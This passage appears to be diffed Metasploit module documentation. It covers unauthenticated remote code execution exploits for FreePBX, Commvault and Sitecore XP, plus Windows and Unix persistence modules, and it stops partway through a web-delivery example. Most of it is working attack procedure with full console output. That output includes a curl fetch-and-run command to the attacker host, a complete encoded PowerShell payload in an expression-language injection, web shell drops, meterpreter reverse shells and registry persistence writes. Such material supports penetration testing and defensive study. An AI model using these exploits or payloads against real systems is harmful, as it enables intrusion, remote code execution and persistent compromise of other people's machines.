FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17
endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing
unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation
and remote code execution.
This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819.
An authentication bypass exposes unauthenticated access to `/admin/ajax.php`, which
contains a SQL injection flaw. By leveraging this vulnerability, an attacker can
achieve remote code execution through the creation of cron jobs under the `asterisk`
database user context.
The following FreePBX version has been tested:
- FreePBX 16.0.33
## Testing
To set up a test environment:
1. Install FreePBX and perform basic minimum setup (prompted by installer). I used proxmox to get a working installation. [Link](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso)
2. Confirm that the web service on port 80/443 is reachable.
3. Follow the verification steps below.
## Options
No custom options exist for this module.
## Verification Steps
1. Start msfconsole
2. `use exploit/unix/http/freepbx_unauth_sqli_to_rce`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `run`
## Scenarios
### FreePBX Linux Target
```
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options
Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / no The URI for the FreePBX installation
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,GET,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME dCIEGUvcv no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Unix Command
View the full module info with the info, or info -d command.
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 192.168.1.116
RHOSTS => 192.168.1.116
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST eth0
LHOST => 192.168.1.65
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VERBOSE true
VERBOSE => true
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run
[*] Command to run on remote host: curl -so ./KjFruDjiGx http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA;chmod +x ./KjFruDjiGx;./KjFruDjiGx&
[*] Fetch handler listening on 192.168.1.65:8080
[*] HTTP server started
[*] Adding resource /V3hgkVKmhAqViDKE6xmupA
[*] Started reverse TCP handler on 192.168.1.65:4444
[+] Created cronjob with job name: 'BUQm'
[*] Waiting for cronjob to trigger...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.1.116
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.116:39258) at 2025-09-21 16:21:38 -0400
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!
meterpreter > sysinfo
Computer : freepbx.sangoma.local
OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -1,32 +0,0 @@
## Vulnerable Application
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched:
```
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
```
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/unix/local/at_persistence`
4. Do: `set session #`
5. Do: `set target #`
6. `exploit`
## Options
**TIME**
When to run job via at(1). Changing may require WfsDelay to be adjusted.
**PATH**
Path to store payload to be executed by at(1). Leave unset to use mktemp.
## Scenarios
This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron.
@@ -0,0 +1,107 @@
## Vulnerable Application
This module exploits an unauthenticated remote code execution exploit chain for Commvault,
tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated
access to the 'localadmin' account, which then facilitates code execution via expression
language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is
necessary knowledge to exploit the remote code execution chain. This module executes in
the context of 'NETWORK SERVICE' on Windows.
## Testing
To set up a test environment:
1. Install Commvault and perform basic minimum setup (prompted by installer).
2. Confirm that the web service on port 443 is reachable.
3. Follow the verification steps below.
## Options
No custom options exist for this module.
## Verification Steps
1. Start msfconsole
2. `use exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `run`
## Scenarios
### Commvault Windows Target
```
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > show options
Module options (exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies
: socks5, socks5h, http, sapni, socks4
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
s/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to Commvault
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set RHOSTS 192.168.154.222
RHOSTS => 192.168.154.222
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set LHOST 192.168.154.139
LHOST => 192.168.154.139
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set VERBOSE true
VERBOSE => true
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > run
[*] Started reverse TCP handler on 192.168.154.139:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to query the publicLink.do endpoint
[*] The server returned a body that included the string cv-gorkha, looks like Commvault
[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178
[*] Attempting to login as PublicSharingUser
[+] Authenticated as PublicSharingUser, got token: QSDK 36fdc5bd8cd650a1e64d8bd00acec802097a131806f2c712b41d7abf0b3e26d63f934db1efb85444ba371710bd6135bc41f679bf4d923417fc191864f9772780ddc7c7e66c73b7b59721b9acc7ac32bab5fc4d89909a0771229e5e0fd0b51c6ff346b195eb53e4f92c31182701ce7eb78f4a11b0c4653ef48f6e902b61094c9b50ae05715890e9bb9e341b99d003956e1f036a82295f23cf637c8d4046f5c970ad46deb59e3d89579d5dc144f2582e3ae3659c17f19835c40cb8c93c96f063d58d41f2b328e39fda3d2c7e26af2d62bbf
[+] The target is vulnerable. Successfully authenticated as PublicSharingUser
[*] Attempting to query the publicLink.do endpoint
[*] The server returned a body that included the string cv-gorkha, looks like Commvault
[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178
[*] Attempting PublicServiceUser login using: 572131A8-3182-4423-8850-4A62D6CA2178
[+] Authenticated as PublicSharingUser, got token: QSDK 388eef6d67c3cf146a17819125e4b33506fd188ec21fe6d191b56cdf1e98527d84135f8508ad2439a6229bc5b44d6a71e83460596c3267113d8365867d834004463aeb263ef8b5a1ecaad5f0f44e310223317e29b987ea8b3311666ce34ddd30121c77652628fd975ce662e21c113c53414806e4fffcf2082b245f9f64f6f20716df1ed46f7da21c6b933bd9c1eabaf7cc8600644f399057a73598e60bf586d6b3c3717fa7fd0e9a4204dae938cb213f855f8eb48ffc37f3a1d38ca74176d919253cdb6405ce27287f4106eb0a5397093
[*] Attempting to query authenticated API endpoint to get host name and OS
[+] Got target host name: DC01
[+] Got target host OS: Windows
[*] Attempting to mint a localadmin token using hostname: DC01
[+] Successfully bypassed authentication
[*] Admin token: QSDK 39cb9de328b232215e42c09650a018488634454cb0f39875976ca7d16039ea739a20ea151935c84b458bd9991b826e46dddccdbe95abfd13b72e0a3b5eb6238cf089302d340f4b421d9f250669b3624fc2d0e4b871db59bc96fe955b8e7d88034d35e310e1c22d717ea1d8a01f5dadfccaf2910128cbe089fce9738bb549c2c6e5aeff59c0644345f3dffe1c73103d8372af95b5e73f018d3fa413727af1592f72d7fc036fdf060d5a6cf183ba1651ab69c5dbdcee110d7a9d01ef490c90fa1ea0fdc1afc52ba5f5ee8b58ee4349efc92c086d4c2ab1be97123385e78ca8f68ae3f88b1142382013438226acdc4e6b10701120f07d6acd1f7
[*] Extracted localadmin user ID number: 4
[*] Got JSON response, searching for installation path disclosures
[+] Leaked the installation path: C:\Program Files\Commvault\ContentStore
[*] Got user description: System created Admin User for qcommand operations
[*] Uploading XML file: <App_GetUserPropertiesRequest level="30">
<user userName="DC01_localadmin__" /></App_GetUserPropertiesRequest>
[*] Updating user description: <App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>4</userId></userEntity><description>${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('powershell -w hidden -nop -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBuAG8AbgBpACAALQBlAHAAIABiAHkAcABhAHMAcwAgACIAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARABBAC8AeQBHAGcAQwBBADUAVgBWAFgAVwAvAGIATgBoAFIAOQA5ADYAKwA0AE0ATgBSAEcAUQBtAHoAQwA5AHIAcABoAEQAWgBDAGkAbgBwAG8ATwBBAGIATABXAHEATABMAGwAdwBUAEEAUQBtAHIAcQBPAHQAZABDAGsAUwAxAHsAMgB9AHgAagBjAFQALwBmAGEAUgB7ADEAfQBmAFQAaABPAHMASgBZAFAAdABzAGgANwBlAFgAaAA0ADcAaQBHADUAeQBBAFUAegBtAFIAVAB3AEoANQByACsARABjADQAWgB6ADEAQQBZADYARAB4ADIAdwBMAFoAZwB3ACsAQQBjACcAJwArACcAJwB2AHUAQwBtAC8AMwBYACsATAB6AEkARAAvAGUAdgBkAEcAcgAvAFEARgBkAHAAQgBRADIAeAArAFgATwBSAFgAeQBlAFIAdgBqAFoAOQB3AFEAWABOAHUAWQBvAFcAcABqAFcAUwBVAGEAdwBzAFIARwBKAFYAagBuAFQAVgBSAGMAcgBzAGoAegB6AEwAcwBlAEcAdQBrAHkAdQAzAHMATwA0AHUAewAyAH0ANABsAHAAdQBVAE4AbQBlAFoAUQBkAEYAZgB7ADEAfQBJAFYAWABZAFgAbAA5AHoAUQB4AHsAMgB9AGgATgAzAHMAeQBDAFcAcQB4AFUAVgBhAGUAOQB3AE4ATgBHAGMAUwBmAEYAcwA4AEoAUABjAEMAQwA1AHAAVwBvAHgARwBIAGwATgBKAGgAbABxAEQARgAyAEEAbAAwADUAeQBqAEkALwBnAHgAagB7ADIAfQBCAE0AeQBSAFkAUQBWAHMAdABBAEgANwA5AEQAZAA1ADYASgB0AEIAcwBWAHcAWABKAGUATQBaAGQAbgAyAHEAQgBBAFoAUwBkAFAAawA1ADMAOQBYAGgARwBuAFcAaQBMAFoAUABSAHAATgByAHQAbgA2ACcAJwArACcAJwB5AG0AZgBNADMAdABsADIAUABKAEYAbwBRADUAVgB4ADYALwBxAFYAaQA2AGcAdgAwAFgAawByAGIAOAB3AFkAcgBvADAARgBMAE0AcwBSAGwAbABUADIAcgA5AEYAVgArAEkAQgB7ADIAfQA0AHoASABqAEcAcgBwAFYAOABwAGUAWQB4AHgATwAvAFUASABmADQAZgBrAFMARwB2AC8AMQBPAGgAcgArACsASQA4AE4AZgAzACcAJwArACcAJwBuAGQANwBiAGkAZAArACsAVQA0AHAAbwBUAFkAewAyAH0ANgBjAHIAeABMAGUARwBKAHQAVgBwAFMAagBGAG0AZQBEAGMATwB5AFEAaQBWAEIANQA1AGEAdQBMADAAaQBMAG4AdABZADgAcQBjAEIAZQBZAFkAZwBzAFYANQBuAFoAawBhAFIAewAyAH0ARABmADMANgB2AFcAQgBoAGIAWQBXADkAOABEAEcANAB0ACcAJwArACcAJwB1AGgANwA2AEYATQBOADAAJwAnACsAJwAnADQATQA1ADMAMwBBAGwARABjAGEAbwBUAEwAYgBJAEcARABYADQARAArAFYAWgBTAHAAMwAzAFkAcwByADUAbgBMAEwANwBXAFIAUwA5AFEASQBlAE0AYwA3AE4AMAB4AG4AVwBUAHgAdgBwAFYAYgBRAHsAMgB9AFIAYwA5ADcAcgBHAHEANgBIAG8ANgA0AG4AMQBNAGEAcgBoAFcAbwAyADIAbABaAHkATwB0ADgAWgBuAE0ANQBtAGcAZgB0ADMAbABoAHcAUQBNAGgAcgBZADkAdgBUAG0AYwBiAEQAMwBZAHEATgBJAHEAMwBBADQATgBiAGcAMQBCACcAJwArACcAJwBBAFcAVABxAGYAUAA3ADIAZABrADQAaQBTADgAdgBJADEAZQBBAFAAMQB4AE8AMgBMADIAeAB4AHAAVQBiAEQAUgBOADMAdABKAEkAbABjAGcANABxAEYAOABKAG0AZwA1AFUAbgAxADkAYQA4AFgAVABpAEYAQQBNAFgARABtAGUAJwAnACsAJwAnAHMASgBkAC8AUgBQADcAWgBpAHQAVgBCADEAZwBjAHIAWABPAFQAUgBPADgARgBiAEYAYwA3ADEAUgAyAHQAegBRAFEAeABoAEgAOABsAFQAewAxAH0AbAB0AFYAdwBZAGkAewAyAH0AVgBhAFMAMQBVAG8AUwBtAEQAcwBGAG4ATgBKAEcAaABSAGEANwBBAGQATQB5AGEAMgA0AEYAZAA2AFcAWABnADUAeQBZADIAdQBEAFkAYgBPAHgAMwBxAEQAWABkAE0AZwBWAGkAagB1AHoAYgBQAHUAbwBPAHQAUgB0AEoAeAAwAFoANgBlAGQAVQBtAHAANwBPADQATQBwAEMATwBsAG4AOABoAFUAQgBxAG4AagAvAFAAdABaAHIAMQBXAGEAbwBMAHkAcABhAFcAYwB3AGsAewAyAH0AbQBhAGcAdgBuAEMAYQByAG8AZQAxAGEAZQBIAEIAUABSADYAVABhAGIAWABtAGwAVgBVAGoAUgAwADYAVgAnACcAKwAnACcANABrAFAAZgBZAHYAOQBpAHUAcgBiAGIAYQA2ACcAJwArACcAJwBsADIAagA3AE4AdQBXADIAaQB3AHoAagBtAHsAMQB9AFkAWgBJAFgAcgB5AGsAMQA4AFEANQBxACcAJwArACcAJwBHAHAAYwBkADYATQBPAGgAQgBjAE0AQQArAGcAcgA1AEEARwBCAHgASgBlAHUASAAwAHcALwBUAGEAYQB2AG4AYQBrACsASABQAHEAVQBzAGgAaABjAFkAWABYAHYATQBHAHgAWgA0ADIANgBxAGkAMAAwAFAAeAAxAFUAZQB5AHUAewAxAH0AaABXAEMATABIAHAAVwBUAFgAcwA0AFgAVABHAFAAOQBnADMAOQA2AHUAbwByAHcAVQBjAGYAMwBnADcAaABDAGIANwBtAHAAbAArAGkAZwBqAGYAUABBAGQAUQBJAEMAawB7ADEAfQBxADQARgBNADQAbQBTAFIAdwBZAHYAOABMAC8AYQA4AGsAewAyACcAJwArACcAJwB9AHoAdwBjAGsAUQBrADEAUwB4AGYAOQBBAEMAYwBOAHkATgBZAFIAQwBWAEEAcABxAGEAYQBEADIAYwBGAGkATABkAFoARgBuAEQAQwBPAFYASQBYAFIAUwB3AHoATwAyAHgAMQA3ADEATABhAGQAWQB3AFAALwBrAEgAOABiAG0AUAA5ADEAYgBOAHUAdwBSADMANgB0ADUAbgB6AG0AdQAnACcAKwAnACcAVgA3AFcAcgA2AEcAJwAnACsAJwAnAC8AZQBQAHoAZABIAG4ATwBwADAAZQArAG4ATwBJADcAVgBHADkAVQAyAFQAUABOAHcASgBVAGEAdQBxADkAZgB7ADIAfQAvADEAcABuADEAZwA5ADkAWABUAHYALwBZAHYAMABIAGQAVwBxADkAewAyAH0AcQA0AEkAQQBBAEEAewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBFACcAJwAsACcAJwBLACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACIAJwA=').getInputStream()).useDelimiter('%5C%5CA').next()}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>
[*] Moving XML file to web shell: qoperation execute -af C:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\b2e65d7a\b2e65d7a.xml -file C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp
[*] Accessing the web shell file: b2e65d7a.jsp
[!] Tried to delete C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp, unknown result
[*] Powershell session session 1 opened (192.168.154.139:4444 -> 192.168.154.222:50011) at 2025-09-15 11:33:22 -0500
[*] Updating user description: <App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>4</userId></userEntity><description>System created Admin User for qcommand operations</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > sessions -i 1
[*] Starting interaction with 1...
PS C:\Program Files\Commvault\ContentStore\Apache\bin> whoami
nt authority\network service
```
@@ -0,0 +1,63 @@
## Vulnerable Application
The Sitecore Experience Platform (XP) is a flagship CMS product.
Provides comprehensive digital marketing tools, view of customer data and many other features.
Sitecore deploys multiple default service accounts when installing, among them is an account called ServicesAPI.
The versions from 10 to 10.4 have a hardcoded password for this account - the password is the letter b (CVE-2025-34509).
This account is used to gain access and exploit an additional vulnerability - a path traversal in zip extraction (CVE-2025-34510).
This module exploits both vulnerabilities to gain remote code execution by uploading malicious ASPX into the root directory of the webserver.
### Installation
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform).
Please note that a license is required for successful installation.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34510`
1. Do: `set RHOSTS [Sitecore XP IP address]`
1. Do: `set VHOST [Sitecore XP hostname]`
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`
## Options
### VHOST
The hostname of Sitecore XP.
When installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
### IDENTITY_VHOST
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
If you are not sure about `IDENTITY_VHOST`, you can visit `https://[sitecore instance]/identity/login/shell/SitecoreIdentityServer`.
The hostname of page where the URL will redirect you can be used as `IDENTITY_VHOST`.
## Scenarios
```
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > run verbose=true
[*] Started reverse TCP handler on 192.168.3.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
[*] Sending stage (203846 bytes) to 10.5.132.138
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.138:50530) at 2025-08-26 13:05:53 +0200
meterpreter > sysinfo
Computer : WIN11_22H2_0800
OS : Windows 11 22H2 (10.0 Build 22621).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: IIS APPPOOL\sitecorepocsc.dev.local
```
@@ -0,0 +1,72 @@
## Vulnerable Application
The Sitecore Experience Platform (XP) is a flagship CMS product.
Provides comprehensive digital marketing tools, view of customer data and many other features.
A user can install multiple extensions to Sitecore XP - among them is Sitecore PowerShell Extension (SPA).
It is obligatory requirement for popular SXA add-on.
The SPA is vulnerable to an unrestricted file upload up to version 7.0.
An attacker can upload malicious ASPX file and gain remote code execution.
### Installation
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform).
Please note that a license is required for successful installation.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34511`
1. Do: `set RHOSTS [Sitecore XP IP address]`
1. Do: `set VHOST [Sitecore XP hostname]`
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`
## Options
### VHOST
The hostname of Sitecore XP.
When installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
### IDENTITY_VHOST
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
If you are not sure about `IDENTITY_VHOST`, you can visit `https://[sitecore instance]/identity/login/shell/SitecoreIdentityServer`.
The hostname of page where the URL will redirect you can be used as `IDENTITY_VHOST`.
## Scenarios
```
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set RHOSTS 10.5.132.138
RHOSTS => 10.5.132.138
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set VHOST sitecorepocsc.dev.local
VHOST => sitecorepocsc.dev.local
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
IDENTITY_VHOST => sitecorepocidentityserver.dev.local
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > run verbose=true
[*] Started reverse TCP handler on 192.168.3.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
[*] Sending stage (203846 bytes) to 10.5.132.138
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.138:50194) at 2025-08-26 12:58:22 +0200
meterpreter > sysinfo
Computer : WIN11_22H2_0800
OS : Windows 11 22H2 (10.0 Build 22621).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: IIS APPPOOL\sitecorepocsc.dev.local
```
@@ -1,93 +0,0 @@
## Description
This module leverages Windows debugging tools to cause a payload to launch
every time a specified binary exits.
The payload will execute at the same priv level as the launched binary.
## Vulnerable Target
Windows 7+ as elevated user
## Verification Steps
```
[*] Meterpreter session 8 opened (192.168.135.168:5555 -> 192.168.132.125:49675) at 2019-09-30 16:24:30 -0500
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 8...
msf exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options
msf exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe
image_file => notepad.exe
msf exploit(windows/local/persistence_image_exec_options) > set session 8
session => 8
msf exploit(windows/local/persistence_image_exec_options) > run
[*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8
[*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
msf exploit(windows/local/persistence_image_exec_options) > show options
Module options (exploit/windows/local/persistence_image_exec_options):
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE_FILE notepad.exe yes Binary to "debug"
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION 8 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4545 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(windows/local/persistence_image_exec_options) >
```
In another window, start a listener and then launch notepad.exe on the target.
Close notepad.exe and you should get a callback:
```
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.168:4545
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 3 opened (192.168.135.168:4545 -> 192.168.132.125:49679) at 2019-09-30 16:25:49 -0500
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,143 @@
## Description
This module leverages Windows debugging tools to cause a payload to launch
every time a specified binary exits.
The payload will execute at the same priv level as the launched binary.
## Vulnerable Target
Windows 7+ as elevated user
## Verification Steps
1. Start msfconsole
2. Get a shell/meterpreter on a windows box
3. Do: `use exploit/windows/persistence/image_exec_options `
4. Do: `set session #`
5. Do: `run`
6. You should get persistence once the targeted application is open and closed.
## Options
### PAYLOAD_NAME
Name of the payload file. Defaults to `<random>.exe`
### IMAGE_FILE
The executable to bind to. Example: `calc.exe`, `notepad.exe`
## Scenarios
### Windows 10
Original Shell
```
└─$ ./msfconsole -q
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> run
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
resource (/root/.msf4/msfconsole.rc)> set target 2
target => 2
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
srvport => 8085
resource (/root/.msf4/msfconsole.rc)> set uripath w2
uripath => w2
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4449
lport => 4449
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4449
[*] Using URL: http://1.1.1.1:8085/w2
[*] Server started.
[*] Run the following command on the target machine:
